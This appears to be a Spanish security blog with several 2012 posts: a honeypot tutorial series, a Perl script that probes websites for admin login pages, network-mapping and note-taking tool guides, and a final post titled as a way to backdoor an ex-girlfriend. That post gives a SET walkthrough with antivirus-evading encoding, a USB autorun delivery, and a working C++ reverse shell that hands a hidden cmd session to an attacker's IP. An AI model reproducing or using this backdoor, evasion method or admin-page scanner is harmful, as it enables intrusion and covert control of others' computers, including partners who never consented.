viernes, 28 de septiembre de 2012

HoneyPot Easy. PARTE III

Después del fabuloso éxito-no que han tenido mis anteriores publicaciones sobre honeypot parte I y honeypot parte II, voy a seguir con el asunto :-)os aguantáis !! xD.

Vamos a probar un honeypot sencillo, de baja interacción. ¿Qué es esto? En todos los manuales, libros,artículos y demás se intenta clasificar los honeypot según su nivel de interacción, es decir, "lo que simula el honeypot" y lo que permite trabajar con el. Por ejemplo, como hablábamos en el primer artículo de un servidor NetCat que escucha entradas, eso sería baja interacción, ya que no responde. Podríamos catalogar como media interacción, por ejemplo, lo mismo que hicimos con NetCat, pero que responda si el login es correcto, o incorrecto, y que alterne mensajes de usuario incorrecto, password incorrecto. Como alta interacción, podríamos pensar en un servidor SSH completamente funcional, que lo único que hace es monitorizar las conexiones. Por ejemplo, si montamos un servidor SSH con una vulnerabilidad conocida, o vamos a pensar que desconocida !! y analizamos el ataque, podemos detectar los bufferoverflow que manda el atacante y como inyecta el payload.
Como es lógico, cuando más nivel de interacción queramos, más complejo será montarlo, y sobre todo, analizar los log´s.
El nivel de interacción suele, SUELE, estar ligado a la calidad del honeypot, ya que no solo basta con qué el atacante vea un Banner de un servicio, o unas respuestas. Todos sabéis que no todos los sistemas operativos responden a las conexiones, desconexiones,etc de la misma manera, por lo que un buen honeypot es aquel que puede emular el comportamiento del sistema operativo emulado.( FIN, ISN,Fragmentación, ventana inicial, ACK, etc etc etc)

Ya hablaremos mas sobre esto cuando entremos con HoneyD. Pero para que os hagáis una idea, cuando se configura este honeypot, se descarga el fichero de definición de identificación de servicios/S.O. de NMAP para usarlo como método de respuesta ante ataques.


Como primera prueba de concepto, vamos a usar HONEYBOT sobre windows. El proceso de instalación es sencillo: lo descargamos y con unos doble clicks está instalado.

Antes de ponerlo en marcha, hacemos un netstat anal ( inicio-ejecutar-cmd- NETSTAT -ano) para comprobar los puertos que tenemos a la escucha.

Seguro que los más impacientes, a pesar de leer (o no) los dos anteriores post, se dedican a bajar programa e instalar... luego vienen los madres mías...
Es importante saber que, si tenemos un servidor escuchando el puerto 80 ( iis, apache o el de la nintendo ds) y queremos habilitar el honeypot escuchando ese puerto... o se pelean a palos y gana el mas fuerte, o no arranca...
En este ejemplo, un honeypot sencillo, y sobre un windows xp, para probar conceptos está bien, pero para poner un honeypot en producción(para distraer hackers o para "aprender" como atacan) debemos realizar todas las comprobaciones que hemos mencionado antes, deshabilitar servicios innecesarios.
Os imaginais cuando montemos un HoneyD sobre una máquina windows, para imitar un entorno linuxero, con puertos 135,137,139 y demás? cantaría mucho y el atacante detectaría la presencia de un honeypot.

El interfaz del programa es muy sencillo, agrupando por puertos, por ip´s de origen, y alguna cosita mas.
Se pueden configurar los servicios, pero solo indicar puerto (25) tipo ( tcp o udp) activo o inactivo y un nombre. desactiva alguno ( o todos, según tu paciencia) y ejecuta otro netstat para ver como queda.


Vámonos al otro lado, al del atacante, vamos a ver un nmap básico, sin comandos, sobre el honeypot.

Así tan "a lo jabali"  ( guiño guiño xD) nadie se lo creería, pero con un poco de arte, te puedes entretener mucho. RECOMIENDO NO HACERLO CON ESTE HONEYPOT.
Vamos a conectaros con netcat al puerto 22 del honeypot, emulando intentar conectarnos al servidor ssh. La respuesta queda grabada en el log´s, tal como así.

Como podéis apreciar, se graban todos los comandos introducidos desde el sistema atacante.
Dada la simpleza de este honeypot, cuando le tiras un scaneo "sofisticado" como puede ser FIN, NULL y Xmas, el honeypot no sabe "gestionar" las conexiones, no devuelve RST, por lo que no se entera de nada de nada, por eso aparecen closed.

Para que se pueda ver mas gráfico, aquí os dejo la misma captura que ayer, sobre el resultado de un escaneo Nessus, con un perfil bastante complejo. Es curioso que honeybot me ha creado, en unos 5 minutos unos 4000 registros. Se sube el proceso a 30 megas, por lo que a nivel de procesamiento va muy sobrado.

Dentro de la carpeta de la instalación de honeybot, existe una carpeta llamada captura, para recolectar los malwares/virus/troyanos que recibe el honeypot. En mi carpeta capture he encontrado un fichero que imagino es una comprobación de Nessus para detectar la existencia de netbus. Revisar esta carpeta para ver lo que os llega, aunque por la antiguedad del honeypot, según el programador, detecta "solo":
  • Dabber
  • Devil
  • Kuang
  • MyDoom
  • Netbus
  • Sasser
  • LSASS
  • DCOM (msblast, etc)
  • Lithium
  • Sub7
Dabber,devil,netbus, Kuang, Mydoom, sasser, Lsas,msblaster, sub7 y poco mas.

Espero que os guste esta tercera entrega, y estar atentos a las posteriores !!
Gracias por leerme.

jueves, 27 de septiembre de 2012

HoneyPot Easy. Parte II

En anteriores entradas comenzamos esta seria sobre los Honeypots y demás.

Donde configuramos el Honeypot?. Hay mucha literatura sobre donde colocar el honeypot y las herramientas de monitorización. Como todo en esta vida, depende del "hierro" o hardware que tengas, porque no siempre tenemos routers y firewalls libres para canalizar las conexiones como nos gustaría.
Una configuración avanzada podría ser colocar el honeypot dentro de nuestra red de producción, otra configuración podría ser usando switch gestionables que te permitan el Mirroring port. Físicamente se conecta al switch la máquina que hace de honeypot y se conecta en otra boca la máquina que monitoriza. De esta manera, tendremos todo el tráfico que entra al honeypot replicado en nuestra máquina de monitorización. También se me ocurre que en switch´s baratos/viejos, sin capacidad gestionable, realizar un ataque interno ARP SPOOF para desviar todo el tráfico hacia una ip distinta a la original, y así poder monitorizar desde otro pc, pero los switch modernos detectan ataques ARP FLOOD y puede que se ponga en modo hub, y ya no podamos realizar el Snnifing.Otra ubicación, creo que lá más sencilla, es colocar nuestro honeypot en una DMZ, que bien puede ser configurada por un firewall, un router, o caseramente con dos máquinas haciendo de routing. El bastionado de esta configuración es muy importante, ya que debemos aislar por completo el tráfico desde el honeypot hacia la intranet. Si aislamos el tráfico, debemos ir al honeypot físicamente a recolectar los log´s.
Podríamos habilitar una conexion ssh para poder acceder al server, pero de esta manera tenemos un vector de ataque en el caso de que el atacante consiga comprometer el honeypot. Una idea interesante podría ser utilizar Port Knocking ( J. Federico Hernandez Scarso,Luis A. Floreani) para levantar el servicio cada vez que lo deseemos, pero esto tiene dos pegas importantes. Si cae el servicio que nos brinda el Port Knocking, perdemos la conexión al honeypot. También se me ocurre que si el atacante consigue comprometer el honeypot, e instala un servicio de monitorización por su cuenta, detecte que no hay conexiones de salida, y que tras un icmp, un tcp sym al puerto 500, otro al 1000, y otro al 3000....se establece una conexión SSH hacia una máquina en producción...

Mas cuestiones a tener en cuenta. Máquina física o máquina virtual?
Lo más fácil creo que sería dedicar una máquina física para esto, pero no siempre se cuenta con el recurso, y tiene una pega. En caso de que el atacante comprometa la máquina por completo, restaurar el sistema honeypot requiere volver a instalar/configurar todo.
Si instalamos el honeypot en una máquina virtual, tenemos que tener varias consideraciones. Por ejemplo: no instalar las "Guest Additions" que sin duda revelaría información al atacante sobre un servidor virtualizado. Tambien sería interesante cambiar la Mac por la de un vendedor conocido, por ejemplo si queremos imitar el comportamiento de un router Cisco, o un servidor Hp xD.
Tanto si decidimos implementar una máquina fisica o virtual, tenemos que tener en cuenta que el s.o sobre el cual corre el honeypot debe sufrir un proceso de hardening o refuerzo, para evitar que el atacante no se centre en el "caramelo" que le hemos puesto con un servicio SSH vulnerable, sino en el s.o base.
Tener actualizado el sistema al máximo es imprescindible. Cambiar la cuenta de invitado y administrador de nombre, y poner a ambas una clave robusta. Reforzar los permisos ntfs (en caso de instalarlo en un sistema win) y sobre todo, los de ficheros como:
Format, edit, bootcfg, cacls, csscript,wscript, debug,diskpart,edlin,exe2bin,expand,ftp,mshta,progman, regsvr32, replace,rsh,runas,taskill, etc etc...
Parar los servicios innecesarios en el s.o. y cambiar la cuenta de servicio con la que se inicia.
Reforzar la pila stacks para preveer ataques de D.O.S es vital.Por ejemplo, en windows 2003 se recomienda cambiar estas opciones dentro del registro (2008).  Por ejemplo, cambiar el valor para la gestión de puertas de enlace de reserva. Lo que hacemos con este valor del registro es deshabilitar esta opción, para evitar que se cambie la puerta de enlace por una de reserva en caso de problemas de conexion ( D.O.S. del gateway).

Os recomiendo que si vais a trabajar sobre un sistema operativo Ms, busquéis el proceso de como realizar el hardening para esa versión.
Cualquier otro proceso de hardening del sistema operativo que conozcamos deberá ser empleado para garantizar al máximo la seguridad del sistema operativo base. ***Otro día podemos discutir los procesos de consolidación de estos sistemas***

Hay muchas aspectos a tener en cuenta al montar nuestros honeypots, e incluso los expertos en la materia discuten sobre distintas configuraciones y recomendaciones.
Durante la seria de articulos sobre los honeypots iremos viendo mas cosas, pero creo que por hoy ya está bien.
Para la próxima entrega trabajaremos con las máquinas, es decir, pondremos en marcha distintos honeypots, que se qué lo que mas os gusta son los comandos y los hackeos xD.
Un aperitivo... que divertido "juackear" esta máquina !!! xD

Gracias por leerme.

lunes, 24 de septiembre de 2012

HoneyPot Easy. PARTE I

Creo que todos hemos oído hablar de los honeypots. La traducción literal de la palabra es tarro de miel.
Que sería un tarro de miel para un hacker? pues un servidor lleno de puertos abiertos, servicios conocidos sin parchear corriendo, etc.
Entonces, podemos definir Honeypot, tal y como lo hace Wikipedia : Se denomina honeypot al software o conjunto de computadores cuya intención es atraer a atacantes, simulando ser sistemas vulnerables o débiles a los ataques.

¿Por que un Honeypot?. Muy sencillo. Podemos evaluar los ataques, técnicos que realizan los hackers "malos" para atacarnos, y aprender de ello. Podemos preparar un HoneyWall para gestionar las conexiones, y junto a un idp, derivar un servicio legítimo, como pueda ser un acceso https a nuestra vpn externa, y al recibir 3 intentos fallidos de conexión, derivarlo a un servidor falso, como medida de protección.
También es interesante entretener a los atacantes con servidores sqlserver falsos y demás, y así darnos tiempo a revisar/securizar nuestros servicios. Para tema de estadísticas. Hay muchas razones para instalar un honeypot. También hay muchas razones para NO instalarlo. Por ejemplo, si ponemos un caramelo de este tipo a algún hacker malo, pero bueno en conocimientos, posiblemente consiga descubrir que es un Honeypot, y se centre en atacar los servicios legítimos. Otra pega es que si no dominamos la materia, y no configuramos bien el asunto,por ejemplo, ponemos una máquina virtual en una vlan, montamos una distro y configuramos el asunto, y habilitamos un puerto de salida para conectarnos por ssh para revisar los log´s...la liamos gorda gorda. Yo soy partidario de máquina al firewall, boca exclusiva para esa lan separada físicamente, reglas deny en todo el trafico entre vlans, y cuando quieras trabajar con los logs te vas con un pendrive y listo... Otro tema está en que si no ocultas bien los procesos de logging, y si el hacker malo es bueno, se da cuenta de todo... También hay consideraciones legales a la hora de exponer un punto mal securizado para atraer atacantes.
Poco a poco iremos viendo estas cosas.

Para empezar voy a comenzar un honeypot básico, NETCAT.
La idea es sencilla, abrimos un socket de escucha al puerto que queremos emular, le pasamos un fichero de text que será lo que vea el "atacante".

como lanzamos un socket?


el fichero telnet.txt










y ahora en un windows por ejemplo, probamos a hacer telnet ip.







Si queremos guardar lo que el atacante escribe, basta con redirigir el comando Nc al final hacia " >resultados.txt" .


Otro "honeypot" básico en el mundo de la seguridad, al menos en MI entorno Microsoft es el usuario Administrador.
Si mediante GPO cambiamos el nombre al usuario administrador, y creamos un usuario administrador básico, pelado, sin acceso, solo a una ruta de carpeta concreta. Le ponemos una clave, pero "algo" sencilla, que la pueda sacar en unos minutos, pero que no "denote" que es algo engañoso. Creamos una estructura arborescente enrevesada, con muuuuuchos directorios y subdirectorios, para entretener al "atacante". Esto es un honeypot, ya que emulamos un "servicio" y monitorizamos el acceso.Ya tenemos puesto el engaño, ahora auditamos el acceso a ficheros, y lo que es mejor, agregamos una tarea para que cuando alguien haga LOGIN con la cuenta administrador ( nadie debería usarla) nos manden un e-mail. De esta manera, tenemos información "just in time" de un supuesto atacante, y podemos emprender mas acciones, como activar un sniffer tipo wireshark, o cualquier perrería que se nos ocurra.
Nota: Si usas windows 8, vista o 7, desde el visor de eventos puedes elegir un evento de logon, boton derecho, realizar tarea, mandar correo, le dices que abra las propiedades de la tarea, le indicas que haga la tarea, esté el usuario logueado o no y poco más. Hay herramientas de terceros para realizar esto mismo con versiones previas.

Espero que os haya servido de nota introductoria este artículo, y en sucesivas entregas comentaremos mas sobre los famosos honeyd, el honeypot project y varias distros fáciles de usar.
Gracias por leerme !!!
.

domingo, 23 de septiembre de 2012

Admin Page Finder.local y on-line.

Sencillo, rápido, directo, spidering de directorios web´s en busca de páginas de login, administración, etc.

Scripts:
#!/usr/bin/perl

##
#  By GlaDiaT0R
#  Admin Control Panel Finder   ___   Version 1  
# Home: Darkgh0st.com
##

use HTTP::Request;
use LWP::UserAgent;

system('cls');
system('title Admin Control Panel Finder v1 final I[C]oded by Gladiator from H4ckCr3w.net');

print"\n";
print "-----------------------------------------------\n" ;
print "[*]--Admin Control Panel Finder v 1 --------[*]\n" ;
print "[*]-------------Coded By GlaDiaT0R----------[*]\n" ;
print "[*]-------------From Darkgh0st.com---------[*]\n" ;
print "[*]------------Greetz to Allah--------------[*]\n" ;
print "*******************************************\n" ;
print "\n";

print "~# enter site to scan\n* ex: www.domaine.com ou www.domaine.com/path\n-> ";
$site=<STDIN>;
chomp $site;

print "\n";
print "~ Enter coding language of the website \n* ex: asp, php, cfm\n-> ";
$code=<STDIN>;
chomp($code);

if ( $site !~ /^http:/ ) {
$site = 'http://' . $site;
}
if ( $site !~ /\/$/ ) {
$site = $site . '/';
}
print "\n";

print "->Le site: $site\n";
print "->Source du site: $code\n";
print "->Scan de l'admin control panel en cours...\n\n\n";

if($code eq "asp"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}




# -------------------------------------------------------
# -------------------test cfm ---------------------------|
# -------------------------------------------------------





if($code eq "cfm"){

@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm',
'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html'
);

foreach $ways(@path1){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
}





# -------------------------------------------------------
#--------------------------/test-------------------------|
# -------------------------------------------------------


if($code eq "php"){

@path2=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);

foreach $ways(@path2){

$final=$site.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
print " \n [+] Found -> $final\n\n";
}else{
print "[-] Not Found <- $final\n";
}
}
kill("STOP",NULL);
}

##
# By GlaDiaT0R
##


lo guardas como un fichero *.pl y lo ejecutas con "perl nombre.pl"


Si quieres un escaneo aún más pasivo que este, que lo haga otro !!!
http://scan.subhashdasyam.com/admin-panel-finder.php   pones la url y la extensión !!!

Gracias por leerme-








sábado, 22 de septiembre de 2012

LANMAP2 dibujando la red...

Seguro que todos conocéis la herramienta LANMAP2. Es un escanner pasivo de red, el cual monitorizar paquetes, consulta tabla ARP y sobre todo, te hace unos dibujos "monis" de lo encontrado.

En distribuciones Backtrack lo tenemos en: Information Gathering->Network Analysis->Network Scanners->lanmap2.
Una vez ejecutado, comienza a monitorizar la actividad de red.

Vamos a generar algo de "ruido" en la red, realizando un Nmap,sin cerrar LANMAP2 NETWORK mapper, pero sin dibujos.

nmap -vv -A  IP



















Una vez realizado el escaneo con NMAP, paramos la ejecución de consola de LANMAP2.
nos vamos a su directorio, a la carpeta GRAPH. /pentest/enumeration/lanmap2/
ejecutamos ./graph.sh para realizar la magia.




















Os gustaría ver la foto con calidad eh !!! HACKERS !!! xD.

Espero que os guste.

viernes, 21 de septiembre de 2012

BASKET. Notepad advanced for hacking purpose...

Una de las tareas mas complejas de un test de intrusión o auditoría de seguridad es sin duda la parte de organización de trabajo y reporting, vamos... como en programación o sistemas xD.
En este blog hablamos de muchas cosas, algunas técnicas, y otras relacionadas con las habilidades del auditor para encontrar información que le pueda servir de ayuda. Si te limitas a realizar test de vulnerabilidades con unas herramientas, llegarás a poco, la gente tiene Firewalls !!!.
Por ejemplo, hemos hablado de herramientas para generar wordlist, en base a procesos de spidering de webs. Pero por ejemplo, qué pasa si navegando por la red, encontramos datos del sysadmin, como por ejemplo, que le gusta ESDLA y los perros, o que está metido en una red social de amigos de las nutrias. La diferencia la pueden marcar estos detalles. Pero... como mezclar toda la información técnica que tenemos y la información "social". Apuntes, hallazgos de nuevos servidores/ip´s. Qué pasa si a última hora de tu jornada descubres algo, pero te tienes que marchar a casa...
Puedes usar un Notepad a modo de diario, para ir apuntando tus "movidas". Para eso os comento hoy la app BASKET. Similiar a KeepNote y Magictree o One Note.

Las teclas del piano son sencillas:

instalamos librerias: apt-get install cmake libmng-dev kdepimlibs5-dev libmng-dev libqimageblitz-dev
descargamos aplicacion: wget http://basket.kde.org/downloads/?file=basket-1.81 -O basket-1.81.tar.bz2
Esto no sé para que es: tar xjvf basket-1.81.tar.bz2  cd basket-1.81 
Instalamos: ./installer

Como veis, tenemos una estructura arborescente y unos nodos, llamados basket xD.

Podemos insertar distintos elementos como son Textos, imágenes, links, referencias a otros "basket", launchers, ficheros de todo tipo, etc.



Tenemos todo tipo de "tuneado" de apariencia, algo en lo que no me paro mucho.



Una vez tenemos nuestro basket lleno de información, podemos exportarlo a HTML, o a otro fichero Basket.


Por ejemplo, nos podemos crear un BASKET original, con nuestra metodología de pentest, con nuestras fases, comandos, programas etc y usarlo de plantilla para organizar nuestra información.


Tenemos una versión on-line, muy interesante en: http://basket.kde.org/webasket/

Espero que os guste esta aplicación, y que como siempre, os pongo la semilla para que ahora investigueis vosotros.
Un abrazo a todos !!













martes, 18 de septiembre de 2012

Creating .exe Backdoor and Exploit your ex- girfriend !!

En anteriores entradas se ha comentado aquí un vector de ataque "social" para penetrar la seguridad en nuestros clientes de pentest. Se habló de diseminar USB infectados por la empresa, puertas, cafeterías cercanas con el fin de que un usuario de la empresa lo encuentre, y pruebe a usarlo en la empresa.
En el caso de que no estén permitidos los usb, tiene poco sentido el ataque, pero hay muchas maneras de jugar con esto...
El propósito de este post es el de explicar la parte técnica, para crear el backdoor.

En primer lugar, arrancamos la suite SET. En Backtrack ubicada en /pentest/exploits/set . arrancamos ./set.


Ejecutamos la opción 1 de Social- Engineering attacks. A continuación usamos la opción 3, Infectious Media Generator


A continuación nos pregunta si queremos crear un fichero backdoor basado en una extensión de fichero con vulnerabilidades conocidas, o un fichero .exe puro y duro. Esta vez usamos la opción 2.
A continuación nos pide seleccionar un payload de los disponibles. Para esta prueba seleccionamos el payload 2, una conexión TCP_ meterpreter . Al fin y al cabo, con meterpreter podemos hacer perrerías muy interesantes.
A continuación nos pregunta por el tipo de codificación que queremos aplicarle al backdoor para evadir los antivirus/ids.
Cuando generamos un backdoor con set/metasploit, no estamos haciendo mas que generar un "netcat avanzado" para que al ejecutarlo, el cliente conecte con el nuestro sistema a un puerto pre-definido.
Un ejemplo de backdoor simple en c++, sin ocultación, podría ser:


 #include <winsock2.h>#include <stdio.h>#include <windows.h>#pragma comment(lib,"ws2_32")int main(int argc, char *argv[]){ShowWindow(GetForegroundWindow(),SW_HIDE);WSADATA wsaData;SOCKET hSocket;STARTUPINFO si;PROCESS_INFORMATION pi;struct sockaddr_in addr;memset(&addr,0,sizeof(addr));memset(&si,0,sizeof(si));WSAStartup(MAKEWORD(2,0),&wsaData);hSocket =WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);addr.sin_family = AF_INET;addr.sin_port = htons(PUERTO); //Atención a esta línea, aquíva el puerto de conexión NetCataddr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO NO-IP"); //Atención, aquíva tu IPconnect(hSocket,(structsockaddr*)&addr,sizeof(addr));si.cb = sizeof(si);si.dwFlags = STARTF_USESTDHANDLES;si.hStdInput = si.hStdOutput =si.hStdError = (void *)hSocket;CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);ExitProcess(0);}

Sin antivirus ni ids, esto funcionaría perfectamente como una conexion tcp, pero claro, igual que lo se yo, y tu, lo saben "los otros", los que hacen los antivirus. ¿Por qué? porque somos los mismos xD.

entonces es necesario codificar el ejecutable para evadir AV´s.
los formatos de codificación que nos permite SET, a fecha de hoy, son:

Para esta demo hemos usado la opción 16. Mi antivirus Microsoft Security Essentials no lo ha detectado. Luego hablaremos mas de todo esto.


No he probado con muchas mas antivirus esta codificación, pero VirusTotal me dice esto:




Una vez hemos codificado el fichero, nos genera un autorun.inf para meter en medios extraibles y un fichero .exe. Lo guarda en la carpeta /autorun/ de la instalación de SET.

Si ejecutamos el fichero exe, se produce la infección. Yo lo he probado en windows 7 pro. actualizado y con el antivirus de Microsoft, y se ejecuta perfectamente.


Como podemos ver en la imagen anterior, se migra el proceso program.exe a notepad.exe, para evitar que el usuario detecte algún programa raro y lo cierre.



Ejecutamos por ejemplo una shell, y listamos el contenido del disco, en mi caso el usb desde donde he ejecutado el fichero.



Como veis, es muy fácil crear un fichero exe backdoorizado ( viva el spanglish!!!).
